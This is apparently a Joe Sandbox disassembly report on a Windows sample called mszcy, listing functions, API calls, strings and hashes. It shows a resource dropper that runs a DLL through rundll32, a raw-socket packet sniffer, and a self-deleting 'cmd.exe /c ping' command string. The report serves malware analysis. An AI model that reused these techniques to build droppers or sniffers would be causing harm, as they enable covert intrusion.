%s\%s.dll, xrefs: 00401B6E
IMAGE, xrefs: 00401A39
%s "%s",QueryPluginInterface %s, xrefs: 00401C1B
D, xrefs: 00401C37

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: Resource$CreateFilewsprintf$CloseDirectoryFindHandleLoadLockModuleNameProcessSizeofSleepWritememcpymemset
String ID: %s "%s",QueryPluginInterface %s$%s\%s.dll$D$IMAGE$c:\%s$c:\windows\system32\rundll32.exe
API String ID: 729933531-2732814730
Opcode ID: f367ddab212173f478f0c3d6209973ce2cd3006af243161d02f2b13398c8c083
Instruction ID: 922f0755652aa06ef568071101b0f14043c98d7905c641deb23ee6d51d764bee
Opcode Fuzzy Hash: f367ddab212173f478f0c3d6209973ce2cd3006af243161d02f2b13398c8c083
Instruction Fuzzy Hash: F86193B2A00248BEDB119BF4CD45FDFBBBCAB89304F1044BAF345B6181DA749A458F65

Function 00402F22 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 00402F4F
__p__fmode.MSVCRT ref: 00402F64
__p__commode.MSVCRT ref: 00402F72
__setusermatherr.MSVCRT ref: 00402F9E
_initterm.MSVCRT ref: 00402FB4
__getmainargs.MSVCRT ref: 00402FD7
_initterm.MSVCRT ref: 00402FE7
GetStartupInfoA.KERNEL32(?), ref: 00403026
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040304A
exit.MSVCRT ref: 0040305A
_XcptFilter.MSVCRT ref: 0040306C

Strings

`@, xrefs: 00402FCF, 00402FD2

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: `@
API String ID: 801014965-3559765445
Opcode ID: 554b2b36ebdbdca76e7e5890daf673f7ab6b653fcba5f1f76f6d923fca04a6ed
Instruction ID: fd41096d9372b4dda24e723cd552983fee23a0ad75fa497c59ca918bbf17219f
Opcode Fuzzy Hash: 554b2b36ebdbdca76e7e5890daf673f7ab6b653fcba5f1f76f6d923fca04a6ed
Instruction Fuzzy Hash: 26418BB0941208AFDB209FA4D945AAA7BBCEB49711B20053FF942B72E5D67949408B28

Function 00401C6A Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00401C6F
#1134.MFC42(00000000), ref: 00401C7F

Part of subcall function 00401E2A: _EH_prolog.MSVCRT ref: 00401E2F
Part of subcall function 00401E2A: #324.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E41
Part of subcall function 00401E2A: #567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E4F
Part of subcall function 00401E2A: #567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E66
Part of subcall function 00401E2A: #1168.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E91
Part of subcall function 00401E2A: #1146.MFC42(00000080,0000000E,00000080,00000066,?,?,?,?,00401C92,00000000), ref: 00401E9F
Part of subcall function 00401E2A: LoadIconA.USER32(00000000,00000080), ref: 00401EA5

__p___argv.MSVCRT ref: 00401C9F
ExitProcess.KERNEL32 ref: 00401CBE

Part of subcall function 00401867: #823.MFC42(00100000), ref: 00401879
Part of subcall function 00401867: memset.MSVCRT ref: 00401888
Part of subcall function 00401867: __p___argv.MSVCRT ref: 00401897
Part of subcall function 00401867: __p___argv.MSVCRT ref: 004018B9
Part of subcall function 00401867: Sleep.KERNEL32(00000064), ref: 004018CE
Part of subcall function 00401867: GetTickCount.KERNEL32 ref: 00401906
Part of subcall function 00401867: GetTempPathA.KERNEL32(00000104,?), ref: 00401936
Part of subcall function 00401867: wsprintfA.USER32 ref: 00401953
Part of subcall function 00401867: CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00401973
Part of subcall function 00401867: #823.MFC42(?), ref: 0040197F

#2514.MFC42 ref: 00401CCA

Part of subcall function 00401CEC: _EH_prolog.MSVCRT ref: 00401CF1
Part of subcall function 00401CEC: #693.MFC42(?,?,00401CDE), ref: 00401D19
Part of subcall function 00401CEC: #609.MFC42(?,?,00401CDE), ref: 00401D25
Part of subcall function 00401CEC: #641.MFC42(?,?,00401CDE), ref: 00401D30

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: H_prolog__p___argv$#567#823$#1134#1146#1168#2514#324#609#641#693CountCreateExitFileIconLoadPathProcessSleepTempTickmemsetwsprintf
String ID:
API String ID: 4041608318-0
Opcode ID: 76151f68726041c84d7ab328924840f8fb70c527e4686e21e076778c71525204
Instruction ID: 6f737f08b995e68c62b9dff43b60cf904c1485ff509acee86472e34ce1649ac1
Opcode Fuzzy Hash: 76151f68726041c84d7ab328924840f8fb70c527e4686e21e076778c71525204
Instruction Fuzzy Hash: 17016D319511158BEB14FB65C90A7DCB7B4AF08328F0042BAA465B21E1EF789A45CA58

Function 00401A2A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00000084,IMAGE), ref: 00401A46
LoadResource.KERNEL32(00000000,00000000), ref: 00401A54
SizeofResource.KERNEL32(00000000,00000000), ref: 00401A69
LockResource.KERNEL32(00000000,00000000), ref: 00401A74
memcpy.MSVCRT(00000000,00000000), ref: 00401A7C
wsprintfA.USER32 ref: 00401B2B
CreateDirectoryA.KERNELBASE(?,00000000), ref: 00401B38
Sleep.KERNELBASE(00000064), ref: 00401B40
memset.MSVCRT ref: 00401B4D
wsprintfA.USER32 ref: 00401B74

Strings

IMAGE, xrefs: 00401A39

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: Resource$wsprintf$CreateDirectoryFindLoadLockSizeofSleepmemcpymemset
String ID: IMAGE
API String ID: 3931793037-845793007
Opcode ID: d3edc049732555914adbff52832aa4292bf647af716a8d02043898333d2fcd6f
Instruction ID: 4f975884327954dfad89ea398a43f93018ff4a6e72412e49f1d32c0e5fd34b6a
Opcode Fuzzy Hash: d3edc049732555914adbff52832aa4292bf647af716a8d02043898333d2fcd6f
Instruction Fuzzy Hash: 0AE04F673041646AE22026B96DC995B6A6CC2C57EAB110537FB43F219094748C0545B9

Function 00402B5A Relevance: 4.5, APIs: 3, Instructions: 29
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(?,?), ref: 00402B72
WSACleanup.WS2_32 ref: 00402B9D
WSAGetLastError.WS2_32 ref: 00402BA3

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: CleanupErrorLastStartup
String ID:
API String ID: 286295645-0
Opcode ID: b0ec8336bf00a6052941da9178b3fceddae8ddc46f726d68ca548fb70960ad9d
Instruction ID: 2be7791f72972009722b799a77b565cb98efc3fc237316151d06e583dd982ed8
Opcode Fuzzy Hash: b0ec8336bf00a6052941da9178b3fceddae8ddc46f726d68ca548fb70960ad9d
Instruction Fuzzy Hash: 1FF0EC715002186FDB206F35DE1CAD77BF89B0C355F005476E54AE3181D67468458758

Function 004016DF Relevance: 4.5, APIs: 3, Instructions: 12
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#561.MFC42(00000000), ref: 004016E4
__p___argv.MSVCRT ref: 004016EF
DeleteFileA.KERNELBASE(?), ref: 004016FA

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: #561DeleteFile__p___argv
String ID:
API String ID: 84669193-0
Opcode ID: 7c176645d386521af702be36d08a2a7746dee0815ea9a0421c38c726cf202088
Instruction ID: eae00a7dc5a7c054ffd0e57f273fac8e4c6ac782b343249d42dd52938cd82e5c
Opcode Fuzzy Hash: 7c176645d386521af702be36d08a2a7746dee0815ea9a0421c38c726cf202088
Instruction Fuzzy Hash: 98D0C9B42101219FC3502B95EE09A447BA0AF85741B0140BAF705B72A0DBB04C008B58

Function 004030AE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#1576.MFC42(?,?,?,V0@,00403056,00000000,?,0000000A), ref: 004030BE

Strings

V0@, xrefs: 004030AE

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: #1576
String ID: V0@
API String ID: 1976119259-1055587443
Opcode ID: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction ID: 091081438a8891efaa48dbd6cf97df1c67080aae43ea6bdf83243b43297a0175
Opcode Fuzzy Hash: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction Fuzzy Hash: 51B00836018396ABCB02DF91880192ABEA6BB98705F488C1DB2A1140A187768538EB16

Non-executed Functions

Function 0040229F Relevance: 36.9, APIs: 19, Strings: 2, Instructions: 165
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004022A4

Part of subcall function 004028B1: strncpy.MSVCRT ref: 0040290F
Part of subcall function 004028B1: inet_ntoa.WS2_32(?), ref: 00402920
Part of subcall function 004028B1: strncpy.MSVCRT ref: 00402927
Part of subcall function 004028B1: inet_ntoa.WS2_32(?), ref: 00402932
Part of subcall function 004028B1: strncpy.MSVCRT ref: 00402939
Part of subcall function 004028B1: sprintf.MSVCRT ref: 0040299E
Part of subcall function 004028B1: sprintf.MSVCRT ref: 004029A8

EnterCriticalSection.KERNEL32(?), ref: 00402305
#540.MFC42 ref: 0040230E
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00402323
#3998.MFC42(00000001,00000000,?,00000000,00000000,00000000,00000000), ref: 00402342
#6907.MFC42(?,00000001,?,00000001,00000000,?,00000000,00000000,00000000,00000000), ref: 00402352
#6907.MFC42(?,00000002,?,?,00000001,?,00000001,00000000,?,00000000,00000000,00000000,00000000), ref: 00402362
#2818.MFC42(?,%d/%d,?,?,?,00000002,?,?,00000001,?,00000001,00000000,?,00000000,00000000,00000000), ref: 00402376
#6907.MFC42(?,00000003,?,00000000), ref: 00402388
GetSystemTime.KERNEL32(?,?,00000003,?,00000000), ref: 00402391
#2818.MFC42(?,%2.2d-%2.2d %2.2d:%2.2d:%2.2d,?,?,?,?,?), ref: 004023B9
#6907.MFC42(?,?,?), ref: 004023CB
#6007.MFC42(?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 004023DD
#823.MFC42(00000008,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 004023E8
#823.MFC42(?,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 00402408
memcpy.MSVCRT(00000000,?,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 0040241B
#6007.MFC42(?,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?), ref: 00402432
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?), ref: 00402449
#800.MFC42 ref: 00402456

Strings

%d/%d, xrefs: 00402370
%2.2d-%2.2d %2.2d:%2.2d:%2.2d, xrefs: 004023B3

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: #6907$strncpy$#2818#6007#823CriticalSectioninet_ntoasprintf$#3998#540#800EnterH_prologLeaveMessageSendSystemTimememcpy
String ID: %2.2d-%2.2d %2.2d:%2.2d:%2.2d$%d/%d
API String ID: 53958731-669394826
Opcode ID: 1dcc0767c7c356694aae18455bea49362ef47f3eb0e9af8e309e7b155486fb36
Instruction ID: aa3e698a986a9efcd30e7cd5d6354eb5ceda86bede962053babdd167d9a98621
Opcode Fuzzy Hash: 1dcc0767c7c356694aae18455bea49362ef47f3eb0e9af8e309e7b155486fb36
Instruction Fuzzy Hash: 935148B2900209AEDF119FA5CD4AEEFBB7DFB48308F00442AF605B61D1D6B95D04CB64

Function 0040271C Relevance: 18.1, APIs: 12, Instructions: 109
networkthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000003,00000000), ref: 00402730
gethostname.WS2_32(?,00000100), ref: 0040274E
gethostbyname.WS2_32(?), ref: 00402764
htons.WS2_32(?), ref: 00402779
memcpy.MSVCRT(?,?,?), ref: 00402791
bind.WS2_32(?,00000002,00000010), ref: 004027A2
setsockopt.WS2_32(?,0000FFFF,?,?,?), ref: 004027C9
setsockopt.WS2_32(?,00000000,00000002,?,?), ref: 004027DB
WSAIoctl.WS2_32(?,98000001,?,?,?,00000028,?,00000000,00000000), ref: 00402804
WSAGetLastError.WS2_32 ref: 0040280F
CreateThread.KERNEL32(00000000,00000000,Function_000026B0,?,00000000,00000000), ref: 00402824
closesocket.WS2_32(?), ref: 00402838

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: setsockopt$CreateErrorIoctlLastThreadbindclosesocketgethostbynamegethostnamehtonsmemcpysocket
String ID:
API String ID: 4186165289-0
Opcode ID: ab5857ac9cbc0614391de9fc2817350c261bf381e728ef5c6a56ec0117ced1b9
Instruction ID: cc647fa9d97eb8ab40f50e3a18fc5453a93f7f03a17443a7d33be6df37dc61fd
Opcode Fuzzy Hash: ab5857ac9cbc0614391de9fc2817350c261bf381e728ef5c6a56ec0117ced1b9
Instruction Fuzzy Hash: DF3160B6500604AFD7209FA4DD49F9BBBB8EF84720F10862AF625E61E0D7B49944CB54

Function 00402138 Relevance: 13.6, APIs: 9, Instructions: 63windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00402144
#470.MFC42 ref: 00402154
SendMessageA.USER32(?,00000027,?,00000000), ref: 0040216B
GetSystemMetrics.USER32(0000000B), ref: 00402179
GetSystemMetrics.USER32(0000000C), ref: 0040217F
GetClientRect.USER32(?,?), ref: 0040218A
DrawIcon.USER32(?,?,?,?), ref: 004021B7
#755.MFC42 ref: 004021C0
#2379.MFC42 ref: 004021CB

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: MetricsSystem$#2379#470#755ClientDrawIconIconicMessageRectSend
String ID:
API String ID: 1397574227-0
Opcode ID: 1ec0889933b8568e71d179df5b286e334d8a5b22727fd9a6730dc2e2a4000510
Instruction ID: ef0e762d43f9ba135a21ed7adfdda79f425eb601d2121b69b903fd342b625570
Opcode Fuzzy Hash: 1ec0889933b8568e71d179df5b286e334d8a5b22727fd9a6730dc2e2a4000510
Instruction Fuzzy Hash: 95115472610219AFCB10ABB9DE4DEAE77B9FB84340F040139B646E70E0DAB4AD04CB54

Function 004028B1 Relevance: 54.5, APIs: 24, Strings: 7, Instructions: 226
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strncpy.MSVCRT ref: 0040290F
inet_ntoa.WS2_32(?), ref: 00402920
strncpy.MSVCRT ref: 00402927
inet_ntoa.WS2_32(?), ref: 00402932
strncpy.MSVCRT ref: 00402939
sprintf.MSVCRT ref: 0040299E
sprintf.MSVCRT ref: 004029A8
htons.WS2_32(FSRPAU), ref: 004029BF
htons.WS2_32(?), ref: 004029C8
htons.WS2_32(00000041), ref: 004029D2
sprintf.MSVCRT ref: 004029E7
sprintf.MSVCRT ref: 004029FA
sprintf.MSVCRT ref: 00402A09
strcpy.MSVCRT(00000000,flag:), ref: 00402A1C
htons.WS2_32(00000000), ref: 00402A2E
htons.WS2_32(?), ref: 00402A39
sprintf.MSVCRT ref: 00402A64
htonl.WS2_32(?), ref: 00402A74
sprintf.MSVCRT ref: 00402A92
sprintf.MSVCRT ref: 00402AA5
memcpy.MSVCRT(00000000,?,00000003), ref: 00402AC2
sprintf.MSVCRT ref: 00402AE1
sprintf.MSVCRT ref: 00402AEB
sprintf.MSVCRT ref: 00402AFF

Strings

%s:%d, xrefs: 004029F0, 004029F6, 00402A05, 00402A88, 00402A8E, 00402AA1
type=%d,code=%d, xrefs: 00402AF9
%s%c, xrefs: 00402A5E
flag:, xrefs: 00402A16
Len=%d, xrefs: 004029E1
FSRPAU, xrefs: 00402973, 004029BE
FSRPAU, xrefs: 00402A4D, 00402A52

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: sprintf$htons$strncpy$inet_ntoa$htonlmemcpystrcpy
String ID: %s%c$%s:%d$FSRPAU$FSRPAU$Len=%d$flag:$type=%d,code=%d
API String ID: 3753906667-237590085
Opcode ID: ba62efef13005b08d425294af8eda39d72da486267677ef8ad29d67723068545
Instruction ID: a53d3f022a17ab101e70b7c90ccdcaa7e2f0d08fd5b2c767e99d7cb1b96ba65e
Opcode Fuzzy Hash: ba62efef13005b08d425294af8eda39d72da486267677ef8ad29d67723068545
Instruction Fuzzy Hash: 0171D172900248AEDB11DFA8CC44EEF7BBCAF48300F044466FA44F7191D678EA54CBA8

Function 00401160 Relevance: 43.9, APIs: 22, Strings: 3, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00401165
#537.MFC42(00406598), ref: 0040117E
#537.MFC42(00406598,00406598), ref: 0040118B
#540.MFC42(00406598,00406598), ref: 00401197
#2818.MFC42(?,%6.6X,00000000,00406598,00406598), ref: 004011BE
#941.MFC42(00406044), ref: 004011D5
#939.MFC42(?), ref: 004011E1
#6199.MFC42(?,00406598,00406598), ref: 004011F0
#2614.MFC42(?,00406598,00406598), ref: 004011F8
#2818.MFC42(?,%2.2X ,?,?,00406598,00406598), ref: 00401247
#941.MFC42(00406038), ref: 0040125C
#939.MFC42(?), ref: 00401268
#2818.MFC42(?,00406034,?,?), ref: 0040128B
#2818.MFC42(?,00406030,?), ref: 0040129E
#939.MFC42(?,?), ref: 004012AC
#941.MFC42(00406044,?,00406598,00406598), ref: 004012D5
#941.MFC42(00406044,00406044,?,00406598,00406598), ref: 004012DE
#6199.MFC42(?,?,00406598,00406598), ref: 00401301
#6199.MFC42(?,?,?,00406598,00406598), ref: 0040130F
#800.MFC42(?,?,?,00406598,00406598), ref: 0040131B
#800.MFC42(?,?,?,00406598,00406598), ref: 00401327
#800.MFC42(?,?,?,00406598,00406598), ref: 00401333

Strings

%2.2X , xrefs: 00401241
D`@, xrefs: 004012CC
%6.6X, xrefs: 004011B8

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: #2818#941$#6199#800#939$#537$#2614#540H_prolog
String ID: %2.2X $%6.6X$D`@
API String ID: 3308870338-4221501666
Opcode ID: 20f37d9169c0ec6644e067ea3bad11262685dea0dac38ba345f792653d56fa1a
Instruction ID: b9ffc5d633f4d1405bf7982aaa5686ba721c81fb604f9ffe8360b73c1c5d8c85
Opcode Fuzzy Hash: 20f37d9169c0ec6644e067ea3bad11262685dea0dac38ba345f792653d56fa1a
Instruction Fuzzy Hash: 67516072C0011A9ADF05EBA5C986AEEB7B8AF65308F10407FE502B71D2D77C5E09C769

Function 00401867 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 151
sleepfileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#823.MFC42(00100000), ref: 00401879
memset.MSVCRT ref: 00401888
__p___argv.MSVCRT ref: 00401897

Part of subcall function 004017B2: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 004017ED

__p___argv.MSVCRT ref: 004018B9

Part of subcall function 004017B2: memset.MSVCRT ref: 00401814
Part of subcall function 004017B2: ReadFile.KERNEL32(?,?,00001000,?,00000000), ref: 0040182C
Part of subcall function 004017B2: memcpy.MSVCRT(?,?,?), ref: 00401847
Part of subcall function 004017B2: CloseHandle.KERNEL32(?), ref: 00401859

Sleep.KERNEL32(00000064), ref: 004018CE
GetTickCount.KERNEL32 ref: 00401906
GetTempPathA.KERNEL32(00000104,?), ref: 00401936
wsprintfA.USER32 ref: 00401953
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00401973
#823.MFC42(?), ref: 0040197F
Sleep.KERNEL32(00000064), ref: 0040198A
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004019A0
Sleep.KERNEL32(00000064), ref: 004019A4
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004019B4
CloseHandle.KERNEL32(?), ref: 004019B9
#825.MFC42(?), ref: 004019C2
#825.MFC42(?,?), ref: 004019CA
__p___argv.MSVCRT ref: 004019E7
wsprintfA.USER32 ref: 00401A04
WinExec.KERNEL32(?,00000000), ref: 00401A15
Sleep.KERNEL32(000001F4), ref: 00401A20
ExitProcess.KERNEL32 ref: 00401A24

Strings

cmd.exe /c ping 127.0.0.1 -n 2&%s "%s", xrefs: 004019FE
%s\%s.exe, xrefs: 0040194D

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: File$Sleep$__p___argv$#823#825CloseCreateHandleWritememsetwsprintf$CountExecExitPathProcessReadTempTickmemcpy
String ID: %s\%s.exe$cmd.exe /c ping 127.0.0.1 -n 2&%s "%s"
API String ID: 4283993690-2816570591
Opcode ID: a491cdb6d37c63822b2f5e0dabab34744de7fedee835b1f0fc382f0816b84e4c
Instruction ID: 647a47b4171ebbf043bbf0605c80f25e9859b4608e82af673633275921c822a3
Opcode Fuzzy Hash: a491cdb6d37c63822b2f5e0dabab34744de7fedee835b1f0fc382f0816b84e4c
Instruction Fuzzy Hash: EB515EB2900109BFEB11ABE4DD49EDEBB79EF88300F1004B6F704B61A1DB755A548F69

Function 00401F19 Relevance: 36.2, APIs: 24, Instructions: 151
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00401F1E
#4710.MFC42 ref: 00401F2B
GetSystemMenu.USER32(?,00000000), ref: 00401F36
#2863.MFC42(00000000), ref: 00401F3D
#540.MFC42(00000000), ref: 00401F4C
#4160.MFC42(00000065,00000000), ref: 00401F5B
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 00401F79
AppendMenuA.USER32(?,00000000,00000010,?), ref: 00401F85
#800.MFC42(00000065,00000000), ref: 00401F90
SendMessageA.USER32(?,00000080,00000001,?), ref: 00401FB1
